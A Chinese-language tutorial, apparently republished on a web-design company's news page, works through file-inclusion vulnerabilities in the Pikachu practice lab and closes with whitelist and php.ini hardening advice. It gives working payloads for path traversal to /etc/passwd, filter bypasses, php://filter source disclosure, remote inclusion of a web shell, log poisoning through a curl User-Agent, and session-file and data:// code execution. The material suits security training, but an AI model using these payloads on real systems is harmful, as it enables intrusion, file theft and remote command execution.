资讯动态

文件包含漏洞深度解析:从Pikachu靶场到LFI/RFI实战利用链

发布时间:2026/10/14 23:23:34 来源:尧图企业网站定制
1. 从文件包含这四个字说起一个被低估的高危漏洞类型很多人第一次接触文件包含漏洞是在一个叫Pikachu的练习环境里。这个环境把Web安全里最常见的几类漏洞拆成了独立关卡文件包含是其中比较低调的一关——它不像SQL注入那样有立竿见影的数据回显也不像XSS那样能直接在浏览器里弹窗但它的危害上限极高一旦利用成功往往意味着服务器上的任意文件可读甚至可以直接拿到服务器权限。文件包含漏洞的本质是应用程序在引入外部文件时没有对用户可控的输入做严格校验导致攻击者可以指定一个非预期的文件路径让程序去加载。听起来很简单但真正理解它需要搞清楚三件事程序为什么要包含文件、包含的路径是怎么被污染的、以及不同配置环境下利用手法有什么差异。这篇文章我会围绕Pikachu的文件包含关卡把本地文件包含、远程文件包含、伪协议利用、日志投毒、会话文件包含这几条常见路径全部拆开讲一遍。不管你是刚入门Web安全的新手还是想系统梳理文件包含利用链的老手都能从里面找到可以直接复现的操作步骤和我自己踩过的坑。文章里涉及的所有操作都在本地搭建的练习环境中完成目的是理解漏洞原理和防御思路。2. 文件包含为什么会产生从代码层面拆开看2.1 包含功能本身是刚需不是设计缺陷要理解漏洞先得理解正常功能。几乎所有的动态语言都提供了在一个脚本里引入另一个脚本的能力。PHP里有include、require、include_once、require_oncePython里有import和execJava里有import和类加载机制。这些机制的存在是为了代码复用——你不可能把数据库连接、公共函数、配置读取这些逻辑在每个页面里都重写一遍。问题出在当这个引入哪个文件的决定权部分交给了用户输入时安全边界就被打破了。举个最典型的写法?php $file $_GET[filename]; include($file); ?这段代码的意图可能是让用户选择要显示哪个模板文件比如?filenameabout.php就显示关于页面。但攻击者完全可以传?filename../../../../etc/passwd让程序去加载系统密码文件。这就是本地文件包含LFI的雏形。2.2 本地包含与远程包含的分水岭文件包含分为两大类区别在于被包含的文件来自哪里本地文件包含LFI包含的是服务器本地已有的文件攻击者通过路径穿越去读取敏感文件或者配合文件上传、日志投毒等方式实现代码执行。远程文件包含RFI包含的是远程服务器上的文件攻击者可以直接托管一个恶意脚本让目标服务器去加载执行。RFI的利用条件比LFI苛刻得多它依赖PHP配置里的两个选项配置项作用RFI所需状态allow_url_fopen是否允许将URL作为文件打开Onallow_url_include是否允许include/require使用URLOn在较新的PHP版本中allow_url_include默认是Off的所以RFI在实际环境里越来越少见。但LFI不受这个限制只要存在路径穿越就能读取本地文件。这也是为什么Pikachu的文件包含关卡里LFI是主要考察点。2.3 路径穿越的边界../到底能走多远很多人以为../可以无限往上走实际上在大多数系统上走到根目录之后再往上还是根目录。比如在Linux上/../../../../etc/passwd和/etc/passwd是等价的因为根目录的父目录就是它自己。所以路径穿越的关键不是../的数量而是你能否从当前脚本所在目录走到目标文件。这里有个实操细节你通常不知道目标脚本在服务器上的绝对路径所以需要先通过报错信息、phpinfo页面或者已知的相对路径来推断。Pikachu环境里关卡页面的路径结构比较固定一般从当前目录往上走三到四层就能到达文件系统根目录附近。提示在Windows环境下路径分隔符是反斜杠但PHP在Windows上同时接受正斜杠和反斜杠所以..\..\windows\win.ini和../../windows/win.ini都能用。这一点在跨平台测试时要注意。3. Pikachu文件包含关卡的实操复现3.1 环境确认与入口定位进入Pikachu的文件包含关卡后页面上通常会有一个下拉框或者输入框让你选择要包含的文件。下拉框里一般有几个预设选项比如include.php、file1.php、file2.php之类。这种设计本身就是个信号——它说明后端大概率是用一个变量接收文件名然后直接include。第一步是确认参数名。用浏览器开发者工具看请求或者直接看URL通常能看到类似?filenamefile1.php或者?fileinclude.php这样的结构。参数名可能是filename、file、page、pathPikachu里常见的是filename。确认参数名之后先做一次正常请求观察返回内容。比如传?filenamefile1.php页面会显示file1.php的内容。这一步是为了建立基线知道正常包含时页面长什么样。3.2 第一次路径穿越读取系统文件基线建立之后直接尝试路径穿越。在Linux环境下最经典的目标是/etc/passwd。构造payload?filename../../../../etc/passwd如果返回内容里出现了类似root:x:0:0:root:/root:/bin/bash这样的行说明路径穿越成功LFI确认存在。这里有个常见问题../的数量不够或者太多都可能导致失败。我的经验是先多写几个比如写八个../因为走到根目录后再往上不会报错反而能确保你到达了根目录。如果八个不行再减少。如果目标环境是Windows可以尝试读取C:\Windows\win.ini或者C:\boot.ini老系统。payload写成?filename../../../../windows/win.iniWindows下还有一个技巧利用短文件名或者8.3格式来绕过某些过滤不过这是进阶内容后面再讲。3.3 当路径穿越被过滤绕过的几种思路实际环境里开发者往往会加一些过滤比如把../替换成空字符串。这时候直接传../../etc/passwd会被处理成etc/passwd路径就不对了。常见的绕过思路有几种双写绕过如果过滤逻辑是只替换一次../那么传....//替换掉中间的../之后剩下的还是../。比如....//....//etc/passwd经过一次替换后变成../../etc/passwd。编码绕过把../进行URL编码%2e%2e%2f或者双重编码%252e%252e%252f。这取决于后端是否在过滤之前做了URL解码。绝对路径绕过如果过滤只针对相对路径的../直接传绝对路径/etc/passwd可能就绕过了。很多开发者只想着过滤../忘了绝对路径也能用。利用系统特性在Windows下..\和../可以混用还可以用....\这种形式。另外Windows对路径中的空格和点有特殊处理/etc/passwd在Windows下会被解析成/etc/passwd但某些情况下可以利用。我在Pikachu环境里实测下来最稳的还是双写和绝对路径这两种。编码绕过要看具体实现有时候后端做了两次解码反而会失效。3.4 读取PHP源码利用php://filter伪协议直接包含PHP文件时PHP解释器会执行它而不是把源码显示出来。比如你传?filenameconfig.php页面显示的是config.php执行后的结果可能是空白或者一段HTML你拿不到里面的数据库密码。这时候就要用php://filter伪协议。它的作用是在读取文件时应用过滤器最常用的是convert.base64-encode把文件内容转成base64输出这样PHP就不会执行它而是把编码后的内容原样返回。payload格式?filenamephp://filter/convert.base64-encode/resourceconfig.php返回的是一串base64字符串复制出来解码就能看到源码。这个手法在CTF和实际渗透里都非常常用因为读源码往往能发现更多漏洞点比如数据库凭据、隐藏的管理接口、其他文件的路径。注意php://filter不受allow_url_include限制只要allow_url_fopen是On就能用。而allow_url_fopen在绝大多数PHP环境里默认是On的所以这个手法的可用性很高。3.5 远程包含的尝试与条件判断如果环境允许RFI可以利用http://或者ftp://协议包含远程文件。payload?filenamehttp://your-server.com/shell.txt其中shell.txt的内容是PHP代码比如?php system($_GET[cmd]); ?。包含之后访问?filenamehttp://your-server.com/shell.txtcmdwhoami就能执行命令。但正如前面说的RFI需要allow_url_includeOn。在Pikachu的默认配置里这个选项通常是Off的所以直接尝试RFI大概率会失败。你可以先传一个phpinfo()页面或者用php://filter读一下php.ini来确认配置。如果RFI不可用就回到LFI的利用链上通过其他方式实现代码执行。4. 从文件读取到代码执行LFI的进阶利用链4.1 为什么LFI本身就能读文件还要追求代码执行读文件能拿到敏感信息比如配置文件里的数据库密码、SSH私钥、源码里的逻辑漏洞。但读文件的天花板是信息泄露你没法直接在服务器上执行命令。而一旦LFI能升级成代码执行就意味着你可以反弹shell、提权、横向移动危害等级完全不同。LFI升级到代码执行的核心思路是找到一个内容可控且会被PHP解析的文件然后包含它。这个文件的内容里包含PHP代码包含之后代码就被执行了。4.2 日志投毒把代码写进访问日志Web服务器会把每个请求记录到访问日志里包括User-Agent、请求路径、请求参数。如果这些内容里包含PHP代码日志文件里就会有PHP代码。然后通过LFI包含日志文件代码就被执行了。以Apache为例访问日志通常在/var/log/apache2/access.log或者/var/log/httpd/access_log。Nginx的日志在/var/log/nginx/access.log。操作步骤先确认日志路径。可以通过读取/etc/apache2/apache2.conf或者/etc/nginx/nginx.conf来找也可以直接猜常见路径。构造一个请求把PHP代码放在User-Agent里。比如用curlcurl -A ?php system(\$_GET[cmd]); ? http://target/通过LFI包含日志文件?filename../../../../var/log/apache2/access.logcmdwhoami如果日志文件可读且包含成功whoami就会执行。这里有几个坑我踩过日志文件权限问题。有些环境下Web进程没有权限读日志或者日志文件属于root且权限是640这时候包含会失败。日志路径不对。不同发行版、不同Web服务器的日志路径差异很大需要先确认。日志内容被截断。有些日志配置会限制单行长度或者对特殊字符做转义导致PHP代码不完整。日志轮转。如果日志刚被轮转你写入的内容可能在新文件里而包含的是旧文件。4.3 会话文件包含利用Session存储机制PHP的Session数据默认以文件形式存储在服务器上路径由session.save_path决定常见的是/var/lib/php/sessions/或者/tmp/。文件名是sess_加上session id。如果能把PHP代码写进Session文件再通过LFI包含它就能执行代码。写入Session的方式通常是找到一个会把用户输入存进Session的功能点比如用户名、个人简介、搜索记录等。操作步骤先获取自己的session id通常在Cookie里比如PHPSESSIDabc123。找到一个会把输入存入Session的地方提交?php system($_GET[cmd]); ?。通过LFI包含Session文件?filename../../../../var/lib/php/sessions/sess_abc123cmdwhoami这个手法的前提是你能控制Session里的内容而且Session文件路径可预测。Pikachu环境里不一定有现成的Session写入点但理解这个思路对实际渗透很有帮助。4.4 phpinfo文件包含利用临时文件这个手法比较巧妙。当你访问一个phpinfo页面时PHP会创建一个临时文件来存储请求体这个临时文件在请求结束后会被删除。但如果能在删除之前包含它就能执行里面的代码。具体操作是向phpinfo页面发送一个POST请求请求体里包含PHP代码同时用LFI去包含那个临时文件。由于临时文件名是随机的需要从phpinfo的输出里解析出文件名然后快速发起包含请求。这个手法对时序要求很高通常需要写脚本自动化。在Pikachu环境里如果没有phpinfo页面这个手法就用不上。但它是一个很经典的LFI利用技巧值得了解。4.5 各利用链的适用条件对比利用链前提条件成功率隐蔽性日志投毒日志可读、路径已知中低日志会留下明显痕迹Session包含有Session写入点、路径可预测中中phpinfo临时文件存在phpinfo页面、时序可控低高文件上传包含存在文件上传点、上传文件可访问高中伪协议直接执行allow_url_includeOn高低实际测试时我会优先尝试文件上传包含因为可控性最强。如果没有上传点再考虑日志投毒。Session包含和phpinfo临时文件属于备选方案。5. 伪协议在文件包含里的完整用法5.1 php://filter的多种过滤器组合php://filter不只能做base64编码它支持多种过滤器可以组合使用。常见的过滤器有string.rot13对字符串做ROT13编码string.toupper/string.tolower转大写/小写convert.base64-encode/convert.base64-decodebase64编解码convert.iconv.*字符集转换可以用来绕过某些过滤组合使用的方式是用|连接比如php://filter/convert.iconv.utf-8.utf-16/resourceconfig.php这个在绕过WAF或者过滤时很有用因为不同的字符集转换会产生不同的字节序列可能绕过基于关键字匹配的检测。5.2 php://input与php://data的配合php://input可以访问请求的原始数据配合allow_url_includeOn可以直接执行POST body里的代码?filenamephp://inputPOST body里写?php system(whoami); ?。data://协议类似?filenamedata://text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTsgPz4其中base64解码后是?php system(whoami); ?。这两个协议都需要allow_url_includeOn所以在默认配置下用不了。但如果目标环境配置宽松它们是最直接的代码执行方式。5.3 伪协议被禁用时的替代路径有些环境会通过disable_functions或者open_basedir来限制伪协议和文件访问。open_basedir会把PHP能访问的文件限制在指定目录内这时候路径穿越就读不到系统文件了。遇到open_basedir限制时可以尝试读取open_basedir允许范围内的文件比如Web目录下的其他文件利用glob://协议列目录找到可读的文件如果允许包含Web目录内的文件可以尝试包含上传的图片马disable_functions如果禁用了system、exec等函数即使代码执行了也拿不到shell。这时候需要找其他函数比如file_get_contents、fopen来读文件或者用LD_PRELOAD等技巧绕过。这些属于提权范畴文件包含本身只负责拿到代码执行入口。6. 防御视角文件包含漏洞该怎么修6.1 白名单是最可靠的方案修文件包含漏洞最直接有效的方法是白名单。不要让用户传路径而是传一个标识符后端根据标识符映射到固定文件?php $allowed [about about.php, contact contact.php]; $key $_GET[page] ?? about; if (array_key_exists($key, $allowed)) { include($allowed[$key]); } else { include(about.php); } ?这样用户无论传什么都只能包含白名单里的文件路径穿越和伪协议都失效了。6.2 路径规范化与过滤的局限性如果业务上确实需要动态路径那就要做严格的过滤。常见的做法是用realpath()获取绝对路径然后检查是否在允许的目录内过滤../、..\、%2e%2e等路径穿越字符禁用allow_url_include和allow_url_fopen设置open_basedir限制文件访问范围但过滤方案总有被绕过的风险比如编码绕过、双写绕过、系统特性绕过。所以白名单永远是首选过滤只是补充。6.3 配置层面的加固清单除了代码层面服务器配置也很重要配置项建议值作用allow_url_includeOff禁止远程包含allow_url_fopenOff禁止URL打开文件open_basedir限定Web目录限制文件访问范围display_errorsOff避免报错泄露路径信息log_errorsOn记录错误但不显示这些配置在php.ini里改改完重启Web服务生效。生产环境里应该全部按建议值配置。7. 我在实操中踩过的坑和总结的技巧7.1 路径数量不是越多越好刚开始练的时候我以为../写得越多越保险结果有时候写太多反而失败。后来发现原因是某些环境对路径长度有限制或者中间某个目录不存在导致解析失败。正确的做法是先确定当前脚本的目录深度然后精确计算需要往上走几层。如果不知道深度可以从三个开始试不行再加。7.2 读文件时注意编码问题用php://filter读源码时base64编码后的内容有时候会包含换行复制的时候容易漏掉字符。我的习惯是直接把返回内容保存到文件然后用命令行解码echo base64字符串 | base64 -d source.php这样比手动复制粘贴可靠得多。7.3 日志投毒要注意请求方式用curl发请求时User-Agent里的特殊字符可能被shell解释导致代码没写进去。稳妥的做法是把payload写进文件然后用--data-binary或者-A file的方式发送。另外GET请求的参数也会被记录到日志所以也可以把代码放在URL参数里但要注意URL编码。7.4 包含日志时路径要精确不同系统的日志路径差异很大我整理了一份常见路径Debian/Ubuntu Apache:/var/log/apache2/access.logCentOS/RHEL Apache:/var/log/httpd/access_logNginx:/var/log/nginx/access.log通用:/var/log/access.log、/var/log/httpd/access.log如果这些都不对可以尝试读取/etc/passwd确认系统类型再根据系统类型猜日志路径。7.5 别忘了检查文件权限有时候路径对了、文件存在但包含失败原因是Web进程没有读权限。这时候可以尝试读取其他权限更宽松的文件比如/proc/self/environ环境变量文件通常可读或者/proc/self/cmdline。这些文件里也可能包含可控内容可以作为日志投毒的替代方案。文件包含这个漏洞类型入门容易精通难。入门只需要会传../../etc/passwd但真正在实际环境里利用需要结合目标的语言版本、Web服务器类型、PHP配置、文件权限、日志机制来综合判断。Pikachu的文件包含关卡是一个很好的起点它把核心场景都覆盖到了但实际渗透中遇到的情况会比这复杂得多。我的建议是把每个利用链都在本地环境里亲手复现一遍遇到失败就去看报错、查配置、调路径这个过程比看十篇文章都管用。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价 →
↑